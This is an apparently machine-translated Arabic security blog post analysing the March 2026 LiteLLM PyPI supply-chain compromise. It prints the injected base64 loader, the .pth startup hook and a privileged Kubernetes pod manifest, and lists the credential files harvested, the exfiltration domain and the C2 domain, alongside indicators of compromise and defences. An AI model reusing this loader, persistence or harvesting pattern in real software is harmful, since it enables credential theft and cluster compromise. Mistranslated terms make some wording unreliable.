هجوم سلسلة التوريد لشركة LiteLLM

هجوم سلسلة التوريد لشركة LiteLLM: كيف قام فريق TeamPCP باختراق البنية التحتية للذكاء الاصطناعي

لماذا هذه المسائل

في 24 مارس 2026، حزمة بايثون الشهيرة ليتيللمبوابة بروكسي عالمية لإدارة الأصول القانونية يستخدمها الآلاف من enterpriseتم اختراق نظام توجيه حركة البيانات بين التطبيقات ومزودي خدمات الذكاء الاصطناعي مثل OpenAI وAnthropic وGoogle وAWS Bedrock، بشكل خفي على موقع PyPI. نُشرت نسختان مُصابتان (1.82.7 و1.82.8) خلال 13 دقيقة من بعضهما، تحملان حمولة متعددة المراحل سرقت بيانات الاعتماد، واستخرجت أسرارًا سحابية، وانتشرت بشكل جانبي عبر مجموعات Kubernetes، وثبّتت بابًا خلفيًا دائمًا مع إمكانيات تنفيذ التعليمات البرمجية عن بُعد.

مع تقريبا 3.6 مليون تنزيل يوميًا وبفضل النشر العميق عبر البنية التحتية السحابية الأصلية للذكاء الاصطناعي، تقع litellm عند مفترق طرق كل ما يطمح إليه المهاجمون المعاصرون: مفاتيح API لكل مزود رئيسي للذكاء الاصطناعي، وبيانات اعتماد IAM السحابية، وأسرار Kubernetes، ومفاتيح SSH.

لكن التسوية القانونية لم تكن حدثًا معزولًا. بل كانت تتويجًا لـ حملة مدتها خمسة أيام وخمسة أنظمة بيئية من قبل جهة تهديد تُعرف باسم فريق بي سي بيحملة قامت أولاً بتسميم أجهزة فحص الأمان (Aqua Trivy، Checkmarx KICS)، ثم استخدمت المسروقات CI/CD تم استخدام بيانات الاعتماد لتسريبها إلى npm وOpenVSX، وصولاً إلى PyPI. استغل المهاجمون الأدوات التي تعتمد عليها المؤسسات لحماية سلاسل التوريد الخاصة بها.

يمثل هذا الهجوم نقلة نوعية في تطور التهديدات التي تستهدف سلاسل التوريد. فقد اعتمد تصميماً متعدد المراحل وعبر الأنظمة البيئية، مما أدى إلى تقويض أدوات الأمان للوصول إلى قيمة عالية. البنية التحتية للذكاء الاصطناعي، يعكس هذا مستوىً من التخطيط والنضج التشغيلي يتناسب مع أدوات الهجوم التي أصبحت سلعةً متاحةً على نطاق واسع. تم اختبار الحمولات في الوقت الفعلي (تظهر ثلاثة متغيرات للحمولات في شفرة المصدر، بما في ذلك الإصدارات السابقة المُعلّقة)، وسُجّلت بنية التحكم والسيطرة قبل يوم من الهجوم، واختيرت نطاقات تسريب البيانات بعناية لمحاكاة البنية التحتية للبائعين الشرعيين. يشير نظام جمع بيانات الاعتماد الشامل والمنهجي، الذي يغطي أكثر من 15 فئة، بما في ذلك أهداف متخصصة مثل مفاتيح توقيع كاردانو وإعدادات واير جارد، إلى درجة من الدقة تُشير إلى أن تطوير البرمجيات الخبيثة بمساعدة الذكاء الاصطناعي يُعدّ عاملًا مُضاعفًا للقوة.

الخط الزمني

التاريخ (UTC) الحدث/الفعالية
مارس 19 يقوم فريق TeamPCP باختراق علامات Aqua Trivy GitHub Action، واستبدالها برمز خبيث يقوم بتسريب البيانات CI/CD أسرار من المستودعات التابعة
مارس 21 يمتد الاختراق ليشمل Checkmarx KICS وAST GitHub Actions باستخدام تقنيات مماثلة
22 مارس، الساعة 06:35 تقوم BerriAI بنشر Litellm 1.82.6 (آخر إصدار نظيف) عبر الوضع العادي CI/CD pipeline يستخدم هذا البرنامج Trivy لإجراء الفحص الأمني
مارس 23 يقوم برنامج TeamPCP بتسجيل models.litellm.cloud (نطاق تسريب البيانات). ويعرض للخطر أكثر من 66 حزمة npm وامتدادات OpenVSX.
24 مارس، الساعة 10:39 تم نشر litellm 1.82.7 على PyPI -- تم حقن الحمولة في proxy_server.py على مستوى الوحدة. يتم التنفيذ عند الاستيراد
24 مارس، الساعة 10:52 تم نشر الإصدار 1.82.8 من برنامج litellm بعد 13 دقيقة -- إضافة litellm_init.pth، وهي أداة لتكوين مسار بايثون تُنفَّذ عند كل بدء تشغيل لمفسر بايثون، وليس فقط عند استيراد مكتبة litellm. تُظهر هذه الأداة تكرارًا سريعًا للحمولة.
24 مارس، حوالي الساعة 16:00 يقوم موقع PyPI بإزالة كلا الإصدارين بعد تلقي تقارير من المجتمع. تُحذف الإصدارات نهائيًا (وليس سحبها) من الفهرس، مع بقاء ملفات CDN المضغوطة متاحة.

فترة التعرض: حوالي 5.5 ساعات. خلال هذا الوقت، أي pip install litellm, pip install --upgrade litellm، أو CI/CD pipeline كان سحب أحدث إصدار سيؤدي إلى تنفيذ الحمولة.

كيف تسللت البرمجيات الخبيثة: الاختراق المتتالي

لم يتم اختراق حزمة litellm بشكل مباشر. وصل إليها المهاجم من خلال هجوم سلسلة التوريد على خطوتين:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM's CI/CD pipeline استُخدم برنامج Trivy كأداة فحص أمني - فالأداة المصممة لاكتشاف الثغرات الأمنية كانت هي نفسها وسيلة للهجوم. لأن pipeline تمت الإشارة إلى Trivy بواسطة علامة قابلة للتغيير بدلاً من علامة مثبتة commit تم تشغيل الإجراء المخترق تلقائيًا باستخدام SHA. وقد قام إجراء Trivy الخبيث بتسريب أسرار البيئة، بما في ذلك PYPI_PUBLISH رمز مميز، يمنح TeamPCP حق الوصول المباشر للنشر في مشروع litellm PyPI.

تُعدّ استراتيجية "اختراق أنظمة الحماية" هذه سمةً مميزةً لحملة TeamPCP. فمن خلال استهداف أدوات الأمان أولاً (Trivy، Checkmarx KICS)، تمكّن المهاجمون من تعطيل أنظمة الكشف والحصول على صلاحيات وصول مميزة إلى سلاسل التوريد اللاحقة.

التحليل الفني: الحمولة

نقاط الحقن

نسخة 1.82.7 — تنفيذ على مستوى الوحدة النمطية في litellm/proxy/proxy_server.py (السطر 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

يوجد هذا الكود على مستوى الوحدة النمطية بين قاموس حرفي والأصلي showwarning() دالة. يتم تنفيذها فورًا عند litellm.proxy.proxy_server يتم استيرادها - وهو ما يحدث عند استخدام وظيفة الوكيل الخاصة بـ litellm.

نسخة 1.82.8 - مضاف litellm_init.pth (ملف تكوين مسار بايثون):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Python .pth الملفات في site-packages/ تتم معالجتها في كل مرة يتم فيها بدء تشغيل المترجم، ولكن فقط الأسطر التي تبدأ بـ import يتم تنفيذها كشفرة برمجية. يستغل المهاجم هذا الأمر عن طريق ربط الحمولة بأكملها في عملية واحدة. import بيان: import os, subprocess, sys; subprocess.Popen(...)هذا أكثر عدوانية بكثير من حقن proxy_server.py - فهو يعمل حتى لو لم يتم استيراد litellm مطلقًا، في كل عملية تشغيل لعملية بايثون. pyproject.toml تم تعديل الملف ليشمل هذا الملف في التوزيع:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

وبالتالي فإن الإصدار 1.82.8 يحتوي على مساران تنفيذيان مستقلانيتم تنفيذ حقن ملف proxy_server.py (عند استيراد وكيل litellm) وملف .pth (عند بدء تشغيل أي برنامج بايثون). يُعدّ هذا التكرار بحد ذاته جديرًا بالملاحظة، إذ يحمي من اكتشاف أو إزالة أيٍّ من المسارين على حدة. يشير التصعيد من وقت الاستيراد إلى وقت بدء التشغيل بعد 13 دقيقة فقط من الإصدار 1.82.7 إلى أن المهاجم كان يراقب نجاح النشر ويُجري تعديلات متكررة بسرعة.

المرحلة الأولى: جمع بيانات الاعتماد الشاملة

النص الداخلي الذي تم فك شفرته عبارة عن نظام دقيق للغاية للتحقق من بيانات الاعتماد. وهو يستخدم os.walk()glob.glob()subprocess.check_output()وقراءة الملفات مباشرة لمسح النظام بأكمله:

الفئة الأهداف
استطلاع النظام hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, configمفاتيح المضيف من /etc/ssh/
الحوسبة السحابية (AWS) ~/.aws/credentials, ~/.aws/configبيانات اعتماد دور IMDS عبر 169.254.169.254مدير الأسرار ListSecrets; SSM DescribeParameters
الحوسبة السحابية (GCP) ~/.config/gcloud/ (تكراري)؛ $GOOGLE_APPLICATION_CREDENTIALS
الحوسبة السحابية (Azure) ~/.azure/ (تكراري)؛ متغيرات البيئة
Kubernetes رموز حساب الخدمة؛ ca.crt; مساحة الاسم؛ kubectl get secrets --all-namespacesجميع الأسرار عبر واجهة برمجة تطبيقات Kubernetes
ملفات البيئة .env, .env.local, .env.production, .env.development, .env.staging — تم البحث بشكل متكرر (عمق 6) عبر /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
عامل في حوض السفن ~/.docker/config.json, /kaniko/.docker/config.json
رموز الحزمة ~/.npmrc, ~/.vault-token, ~/.netrc
قواعد بيانات ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confإعدادات MongoDB
TLS / SSL المفاتيح الخاصة من /etc/ssl/private/شهادات Let's Encrypt، جميعها .pem/.key/.p12/.pfx ملفات
بوابة ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
محافظ تشفير مفاتيح بيتكوين، ومخزن مفاتيح إيثيريوم، ومفاتيح سولانا (للمدقق، والتصويت، والتخزين، والصنبور)، ومفاتيح توقيع كاردانو، ولايتكوين، ودوجكوين، وزيكاش، وداش، وريبل، ومونيرو
تاريخ شركة شل .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
مصادقة النظام /etc/passwd, /etc/shadowسجلات المصادقة (جلسات SSH المقبولة)
مفاتيح Webhook/API ابحث عن Slack على الويبhooksموقع ديسكورد الإلكترونيhooksمفاتيح/أسرار واجهة برمجة التطبيقات في ملفات التكوين
VPN إعدادات WireGuard من /etc/wireguard/

إن نطاق هذا البرنامج الجامع للبيانات واسع للغاية. فهو لا يستهدف بيانات اعتماد الحوسبة السحابية فحسب، بل يستهدف أيضًا محافظ العملات المشفرة، وكلمات مرور قواعد البيانات، وإعدادات الشبكات الافتراضية الخاصة (VPN)، و... CI/CD الأسرار - مما يشير إلى أن المهاجم ينوي تحقيق الربح من الأنظمة المخترقة عبر عدة قنوات.

المرحلة الثانية: الترشيح المشفر

يتم تشفير البيانات المسروقة واستخراجها باستخدام نظام تشفير هجين:

  • AES-256-سي بي سي تشفير جميع البيانات التي تم جمعها باستخدام مفتاح جلسة عشوائي بطول 32 بايت (عبر openssl enc)
  • RSA-4096 تشفير مفتاح الجلسة باستخدام المفتاح العام المضمن للمهاجم (حشو OAEP، عبر openssl pkeyutl)
  • تم تجميع كلا ملفي النص المشفر كـ tpcp.tar.gz (لل tpcp (يظهر البادئة "TeamPCP" بشكل متسق في جميع أنحاء الحملة)
  • طلب HTTPS POST إلى https://models.litellm.cloud/ مع Content-Type: application/octet-stream

المجال models.litellm.cloud تم تسجيله في 23 مارس - قبل يوم واحد من الهجوم - وهو مصمم ليتكامل مع البنية التحتية المشروعة لشركة ليتل إم (يستخدم المشروع الحقيقي litellm.ai). حتى المدافع المدرك للشبكة والذي يراجع حركة المرور الصادرة قد لا يرصد حركة المرور إلى ما يبدو أنه نقطة نهاية نموذج litellm الخاصة.

المرحلة 3: الباب الخلفي المستمر (sysmon.py)

تقوم الحمولة بتثبيت باب خلفي للاستطلاع متنكر في صورة بيانات قياس عن بعد للنظام:

  • مسار~/.config/sysmon/sysmon.py
  • الخدمةsysmon.service (وحدة مستخدم systemd، الموصوفة بأنها "خدمة قياس بيانات النظام عن بعد")
  • سلوكبعد فترة راحة أولية مدتها 300 ثانية، تبدأ استطلاعات الرأي https://checkmarx.zone/raw كل 50 دقيقة تقريباً
  • التنفيذ: يقوم بتنزيل عنوان URL الذي تم إرجاعه بواسطة C2 إلى /tmp/pglog، ويجعله قابلاً للتنفيذ (chmod 755)، يقوم بتشغيله في جلسة منفصلة
  • تتبع الدولة/tmp/.pg_state يمنع إعادة تنزيل نفس الحمولة
  • إصرارRestart=alwaysRestartSec=10 — ينجو من الأعطال وإعادة التشغيل

المجال checkmarx.zone هو خطأ إملائي في اسم شركة Checkmarx (شركة الأمن في checkmarx.comصُممت هذه الثغرة الأمنية بحيث يرى محللو مركز عمليات الأمن السيبراني، أثناء مراجعتهم لسجلات الشبكة، حركة مرور إلى ما يبدو أنه بائع أمني شرعي. وهذه تقنية تهرب متعمدة تتماشى مع استراتيجية فريق PCP الأوسع نطاقًا المتمثلة في التخفي وراء العلامات التجارية لبائعي الأمن السيبراني.

المرحلة 3ب: الحركة الجانبية لـ Kubernetes

إذا كان النظام المخترق يحتوي على بيانات اعتماد حساب خدمة Kubernetes، فإن البرامج الضارة تحصي جميع عُقد المجموعة وتنشرها. وحدات مميزة لكل واحد منهم:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

كل كبسولة:

  • يعمل كـ متميز مع hostPIDhostNetwork، والوصول الكامل إلى نظام ملفات المضيف
  • استخدام chroot /host لتثبيت نفس الشيء sysmon.py باب خلفي في نظام الملفات الجذر للمضيف
  • يسجلها كخدمة systemd، مما يضمن استمراريتها حتى بعد حذف وحدة pod.
  • عين node-setup-* في  kube-system مساحة الاسم لتظهر كبنية تحتية شرعية للمجموعة

هذا يعني أ تم اختراق حساب واحد CI/CD قد يؤدي وجود برنامج تشغيل لديه صلاحية الوصول إلى Kubernetes إلى اختراق كل عقدة في المجموعة. — سيناريو حركة جانبية كارثية للمؤسسات التي تستخدم litellm كوكيل في Kubernetes.

تطوير الحمولة (النسخ المعطلة)

يحتوي الكود المصدري في السطرين 131-132 على نسختين سابقتين من الحمولة معلّقتين، مما يكشف عن عملية تطوير المهاجم:

  • جميع الأنواع الثلاثة يتشاركون نفس البنية التحتية لتهريب النفايات (models.litellm.cloudمفتاح RSA-4096 العام، وغلاف التشفير الهجين AES-256-CBC + RSA، و tpcp.tar.gz تسمية الحزم
  • الإصدارات السابقة تمت إضافة طبقة تشفير RC4 داخل نص جمع البيانات، يتم تشفير البيانات المجمعة قبل غلاف AES+RSA الخارجي. تم تبسيط الحمولة النشطة (السطر 130) عن طريق إزالة طبقة RC4 الداخلية هذه.
  • تستخدم الإصدارات السابقة exec() مع StringIO يتم التقاط البيانات لتشغيل المُجمِّع أثناء العملية، بينما تستخدم الحمولة النشطة subprocess.run() مع إعادة توجيه الإخراج القياسي — فصل أنظف يتجنب تلويث عملية المضيف
  • تستهدف جميع المتغيرات الثلاثة نفس فئات بيانات الاعتماد ومسارات التجميع.
  • كان مفتاح RC4 في الإصدارات السابقة بمثابة إهانة استفزازية، بما يتوافق مع سلوك الممثل الذي يسعى لجذب الانتباه على تطبيق تيليجرام.

يكشف هذا عن تطوير نشط أثناء العملية. قام المهاجم بتبسيط حزمة التشفير وتحسين عزل التنفيذ مع الحفاظ على استقرار أهداف التجميع وبنية تسريب البيانات.

مؤشرات الاختراق (IOCs)

الانرنيت

مؤشر النوع الهدف
models.litellm.cloud نطاق نقطة نهاية الترشيح (HTTPS POST)
checkmarx.zone نطاق نقطة نهاية استطلاع C2 (HTTPS GET) /raw)

ملاحظة: روابط التقارير الخارجية checkmarx.zone/static/checkmarx-util-1.0.4.tgz إلى المرحلة السابقة من حملة TeamPCP، وهي مرحلة KICS. لم يتم العثور على هذا الرابط في حمولات litellm التي تم تحليلها هنا.

تجزئات الحزم

قم بتقديم SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

نظام الملفات

مؤشر النوع الهدف
~/.config/sysmon/sysmon.py قم بتقديم برنامج نصي خلفي مستمر
~/.config/systemd/user/sysmon.service قم بتقديم وحدة استمرارية النظام Systemd
/tmp/pglog قم بتقديم تم تنزيل الملف الثنائي للمرحلة الثانية
/tmp/.pg_state قم بتقديم تتبع حالة C2
litellm_init.pth in site-packages/ قم بتقديم خطاف بدء تشغيل بايثون (الإصدار 1.82.8 فقط)
tpcp.tar.gz قم بتقديم حزمة تسريب مشفرة

Kubernetes

مؤشر النوع الهدف
node-setup-* قرون في kube-system جراب وحدات الحركة الجانبية المميزة
sysmon.service على عقد المجموعة الخدمة استمرارية على مستوى المضيف عبر الهروب من الحاوية

التشفير

مؤشر تفاصيل
المفتاح العام RSA-4096 للمهاجم بصمة SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8مضمنة في جميع أنواع الحمولة الثلاثة؛ تم الإبلاغ عن نفس المفتاح في عمليات TeamPCP الأخرى
tpcp البادئة في القطع الأثرية اتفاقية تسمية الحزم (tpcp.tar.gz) متسقة في جميع أنحاء الحملة

الإسناد: فريق بي سي بي

يتم تتبع الجهة التي تقف وراء هذه الحملة على النحو التالي: فريق بي سي بي، والمعروفة أيضًا باسم PCPcat و Persy_PCP و ShellForce و DeadCatx3.

الخصائص المعروفة:

  • يدير قنوات تيليجرام على @Persy_PCP و @teampcp حيث سخروا من شركات الأمن
  • يعمل عبر أنظمة بيئية متعددة (GitHub Actions، PyPI، npm، OpenVSX)
  • يستخدم نطاقات مزيفة خاصة بالبائع لكل مرحلة من مراحل الحملة (على سبيل المثال، checkmarx.zone لشركة تشيك ماركس، models.litellm.cloud (لـ litellm)
  • مؤشرات البنية التحتية المتسقة: نفس زوج مفاتيح RSA، tpcp.tar.gz اتفاقية التسمية، tpcp-docs-* مستودعات GitHub المستخدمة كمستودعات سرية
  • يستهدف أدوات الأمن كنقاط دخول إلى سلاسل التوريد اللاحقة.

ثقة الإسناد: عالي. المفتاح العام المشترك لـ RSA، tpcp إن تسمية القطع الأثرية، وتداخل البنية التحتية للتحكم والسيطرة، والوتيرة التشغيلية خلال الحملة التي استمرت خمسة أيام، تربط بقوة اختراقات Trivy وKICS وnpm وOpenVSX وlitellm بنفس الجهة الفاعلة.

الدافعيةمن المرجح أن يكون الدافع مالياً (سرقة محافظ العملات الرقمية، واستغلال بيانات اعتماد الحوسبة السحابية) بالإضافة إلى السعي وراء الشهرة (الاستفزاز عبر تيليجرام). يشير اتساع نطاق جمع بيانات الاعتماد - من AWS IAM إلى أزواج مفاتيح التحقق من Solana إلى إعدادات WireGuard - إلى وجود جهة فاعلة مدفوعة بدوافع مالية تسعى إلى تحقيق أقصى عائد على الاستثمار من كل عملية اختراق.

مساعدة محتملة بالذكاء الاصطناعيأداة جمع بيانات الاعتماد شاملة ومنهجية، إذ تغطي أكثر من 15 فئة، بما في ذلك أهداف متخصصة مثل مفاتيح توقيع كاردانو، وإعدادات واير جارد، وبيانات اعتماد كانيكو دوكر، وذلك بطريقة تتوافق مع عمليات التعداد المدعومة بالذكاء الاصطناعي. تشير سرعة تكرار الحمولة (ثلاثة متغيرات بأنظمة تشفير مختلفة)، والتنسيق بين الأنظمة البيئية (5 أنظمة بيئية في 5 أيام)، وأمن العمليات التشغيلية (انتحال هوية الموردين، والتشفير الهجين، واستمرارية نظام systemd المتخفية في صورة بيانات قياس عن بُعد) إلى مستوى إنتاجية قد يعكس دور التطوير المدعوم بالذكاء الاصطناعي كعامل مضاعف للقوة. هذا التقييم تخميني، إذ يمكن للمشغلين المهرة تحقيق نطاق مماثل دون استخدام أدوات الذكاء الاصطناعي.

أساليب وتقنيات جديدة

1. تسميم سلسلة توريد أدوات الأمن (النسخة T1195.002)

يُعدّ اختراق برامج فحص الأمان (مثل Trivy وKICS) كخطوة أولى للوصول إلى الأهداف النهائية تصعيدًا جديدًا. لم يكتفِ المهاجم باختراق مكتبة برمجية، بل اخترق الأدوات التي تستخدمها المؤسسات لـ بكشف أو المكتبات المخترقة. وهذا يخلق ثغرة أمنية: فالماسح الضوئي الذي من المفترض أن يكتشف الشفرة الخبيثة هو نفسه آلية التوصيل.

2. الثعبان .pth استمرارية الملفات (T1546)

استخدم litellm_init.pth تُعدّ التقنية المستخدمة في الإصدار 1.82.8 خبيثة بشكل خاص. بايثون .pth الملفات في site-packages/ تتم معالجتها عند كل بدء تشغيل للمترجم؛ أي سطر يبدأ بـ import يتم تنفيذه كشفرة برمجية. عن طريق ربط الحمولة بواحدة import في هذا البيان، يتمكن المهاجم من تنفيذ العملية على كل عملية بايثون، وليس فقط عند استيراد مكتبة litellm. هذا يعني أن الحمولة الخبيثة تُفعّل حتى لو كانت litellm مثبتة ولكن لم تُستخدم مطلقًا، وتنجو من عمليات الإصلاح التي تستبدل الملفات المخترقة. .py الملفات دون التحقق من .pth الملفات.

3. الحركة الجانبية على مستوى مجموعة Kubernetes عبر نشر Pod المميز (T1610، T1611)

إنشاء وحدات pods ذات امتيازات تلقائيًا على كل عقدة من عقد المجموعة — مع hostPIDhostNetwork، وتركيب نظام الملفات المضيف، و chroot لتثبيت خاصية الاستمرارية — ربط نشر الحاويات (T1610) مع الهروب إلى المضيف (T1611) لتحويل حمل عمل واحد مخترق إلى اختراق كامل للمجموعة.

4. بنية تحتية للتحكم والسيطرة تنتحل صفة البائع

باستخدام models.litellm.cloud (يقلد ليتلم) و checkmarx.zone (يحاكي Checkmarx) كنقاط نهاية للتحكم والسيطرة/التسريب مصممة للتهرب من مراقبة الشبكة. سيلاحظ محللو مركز عمليات الأمن السيبراني الذين يراجعون حركة البيانات الصادرة اتصالات HTTPS بما يبدو أنها نطاقات بائعين شرعية.

5. التكرار السريع للحمولة أثناء الطيران

يُظهر نشر الإصدار 1.82.7 مع تنفيذ وقت الاستيراد، ثم الإصدار 1.82.8 مع تنفيذ وقت بدء التشغيل بعد 13 دقيقة، أن المهاجم كان يراقب ويتكيف في الوقت الفعلي. وتؤكد متغيرات الحمولة المعلّقة (بأنظمة تشفير مختلفة) المحفوظة في شفرة المصدر استمرار التطوير النشط أثناء العملية.

ما الذي يمكن عمله

يستغل هذا الهجوم الثقة على جميع المستويات: الثقة في أدوات الأمان، والثقة في سجلات الحزم، والثقة في النطاقات المألوفة، والثقة في CI/CD الأتمتة. يتطلب الدفاع ضدها تعزيز كل من حدود الثقة هذه:

للمستهلكين المعبأين

  • قم بتثبيت التبعيات باستخدام التجزئة، وليس الإصدار فقط. pip install litellm==1.82.6 --hash=sha256:... كان من الممكن منع تثبيت النسخ المخترقة حتى لو ظهرت لفترة وجيزة على أنها أحدث نسخة.
  • استخدم ملفات القفل. pip-compilepoetry.lockو uv.lock التقاط النسخ والتجزئات الدقيقة. CI/CD ينبغي التثبيت من ملفات القفل، وليس من محددات الإصدار العائمة.
  • رصد ل .pth الملفات. مراجعة دورية site-packages/ للغير متوقع .pth الملفات - يتم تنفيذها عند كل بدء تشغيل لـ Python وهي آلية استمرارية لا تحظى بالتقدير الكافي.
  • تطبيق ضوابط شبكة الخروج. عملية التهريب إلى models.litellm.cloud واستطلاعات الرأي C2 لـ checkmarx.zone كان من الممكن اكتشاف ذلك من خلال تصفية الخروج القائمة على القوائم المسموح بها في بيئات الإنتاج.

لصيانة الحزم

  • دبوس CI/CD إجراءات من قبل commit SHA، وليس الوسم. LiteLLM's pipeline استخدمتُ تريفي بدون نسخة مثبتة. لو كانت قد أشارت إلى aquasecurity/trivy-action@<commit-sha> بدلا من @latest، لم يكن الإجراء المخترق ليتم تنفيذه.
  • استخدم رموز نشر قصيرة الأجل ومحدودة النطاق. يدعم PyPI الناشرين الموثوق بهم (القائمة على OIDC) ورموز API ذات النطاق المحدد. البيانات المسربة PYPI_PUBLISH لا ينبغي أن يتمتع الرمز المميز بإمكانية الوصول إلى النشر لفترة طويلة وغير مقيدة.
  • قم بتفعيل المصادقة الثنائية على PyPI. يجب اشتراط المصادقة الثنائية لجميع القائمين على الصيانة واستخدام مفاتيح الأمان المادية حيثما أمكن ذلك.
  • التوقيع على الطرود. تتيح شهادات Sigstore/PEP 740 للمستهلكين التحقق من أن العبوة قد تم تصنيعها بواسطة الجهة المتوقعة. CI/CD pipeline، وليس بواسطة مهاجم يحمل رمزًا مسروقًا.

لمشغلي المنصات (PyPI، npm، GitHub)

  • الكشف عن أنماط النشر الشاذة. يجب أن يؤدي نشر نسختين جديدتين بفارق 13 دقيقة، من عنوان IP أو رمز مميز مختلف عن المعتاد، إلى إيقاف عملية المراجعة أو الفحص الآلي قبل أن تصبح الحزمة قابلة للتثبيت.
  • تسريع اعتماد الناشرين الموثوق بهم. يربط النشر القائم على OIDC الحزم بمستودعات وسير عمل محددة، مما يجعل الرموز المسروقة عديمة الفائدة خارج الأصل. CI/CD سياق الكلام.
  • قم بتنفيذ فحص البرامج الضارة في وقت النشر. يمكن اكتشاف الحمولة التي تم فك تشفيرها باستخدام base64 في proxy_server.py عن طريق التحليل الثابت في وقت النشر.

من أجل النظام البيئي

  • تعامل مع أدوات الأمان كبنية تحتية حيوية. يستخدم الملايين من الأشخاص برنامجي Trivy و Checkmarx KICS pipelines. يجب توقيع إجراءات GitHub الخاصة بهم وتثبيتها ومراقبتها بنفس الدقة التي تتم بها مراقبة الحزم التي يقومون بفحصها.
  • استثمر في اكتشاف الأخطاء أثناء التشغيل. لا يمكن للتحليل الثابت وحده كشف جميع أساليب التمويه. مراقبة تثبيت الحزمة أثناء التشغيل hooksتوفر الاتصالات الشبكية غير المتوقعة وأنماط الوصول المشبوهة إلى الملفات دفاعًا متعدد الطبقات.
  • تبادل معلومات التهديدات بشكل أسرع. كان من الممكن تقليص فترة التعرض البالغة 5.5 ساعات لشركة litellm من خلال تنسيق أسرع بين مختلف الموردين. وقد رصدت خدمات المسح الآلي مثل Xygeni MEW وSocket وSnyk هذا الخلل، إلا أن العائق يكمن في التحقق البشري ووقت استجابة السجل.

خاتمة

تُعد حملة TeamPCP لحظة فارقة لـ software supply chain securityمن خلال اختراق الماسحات الأمنية أولاً واستخدامها كخطوات للوصول إلى بنية تحتية عالية القيمة للذكاء الاصطناعي، أظهر المهاجمون أن سلسلة التوريد لا تكون قوية إلا بقدر أضعف تبعية متعدية فيها، وأن هذه التبعية قد تكون أداة الأمان التي تثق بها للحفاظ على سلامتك.

يُسلط اختراق شركة ليتل إم الضوء بشكل خاص على المخاطر المتزايدة التي تواجه البنية التحتية للذكاء الاصطناعي. ومع تحول بوابات ليتل إم الوكيلة إلى... standard نمط ل enterprise في تطبيقات الذكاء الاصطناعي، يتركز الوصول إلى مفاتيح واجهة برمجة التطبيقات (API) وبيانات اعتماد الحوسبة السحابية والبيانات الحساسة في مكون واحد. ويُعد اختراق هذا المكون بمثابة مفتاح أساسي لاختراق كامل منظومة الذكاء الاصطناعي.

ينبغي على المؤسسات التي قامت بتثبيت الإصدار 1.82.7 أو 1.82.8 من litellm خلال فترة الخمس ساعات ونصف، التعامل مع هذا الأمر على أنه اختراق كامل لبيانات الاعتماد: تغيير جميع البيانات السرية على الأنظمة المتأثرة، ومراجعة مجموعات Kubernetes للتأكد من عدم وجود أي اختراق. node-setup-* قرون في kube-systemقم بإزالة أي sysmon.service وحدات systemd، وتحقق من litellm_init.pth في بايثون site-packages/ المجلدات. مستخدمو صورة Docker الرسمية (ghcr.io/berriai/litellmلم تتأثر الصورة، حيث تم تثبيت تبعياتها ولم يتم إعادة بنائها أثناء فترة التعريض.

عن المؤلف

المؤسس المشارك والرئيس التنفيذي للتكنولوجيا

لويس رودريغيز يشغل منصب المؤسس المشارك والمدير التقني في شركة Xygeni Security. يتمتع بخبرة تزيد عن 20 عامًا في مجال أمن التطبيقات، ويركز على حماية أمن التطبيقات وقدرات تحليل الشفرة المتقدمة التي تساعد الفرق على تقليل مخاطر التسليم الحقيقية.

 
أدوات تحليل التركيبات البرمجية sca
إعطاء الأولوية للمخاطر التي تتعرض لها برامجك، ومعالجتها، وتأمينها
احصل على حسابك المجاني.
أي بطاقة ائتمان.

قم بتأمين تطوير البرامج الخاصة بك وتسليمها

مع مجموعة منتجات Xygeni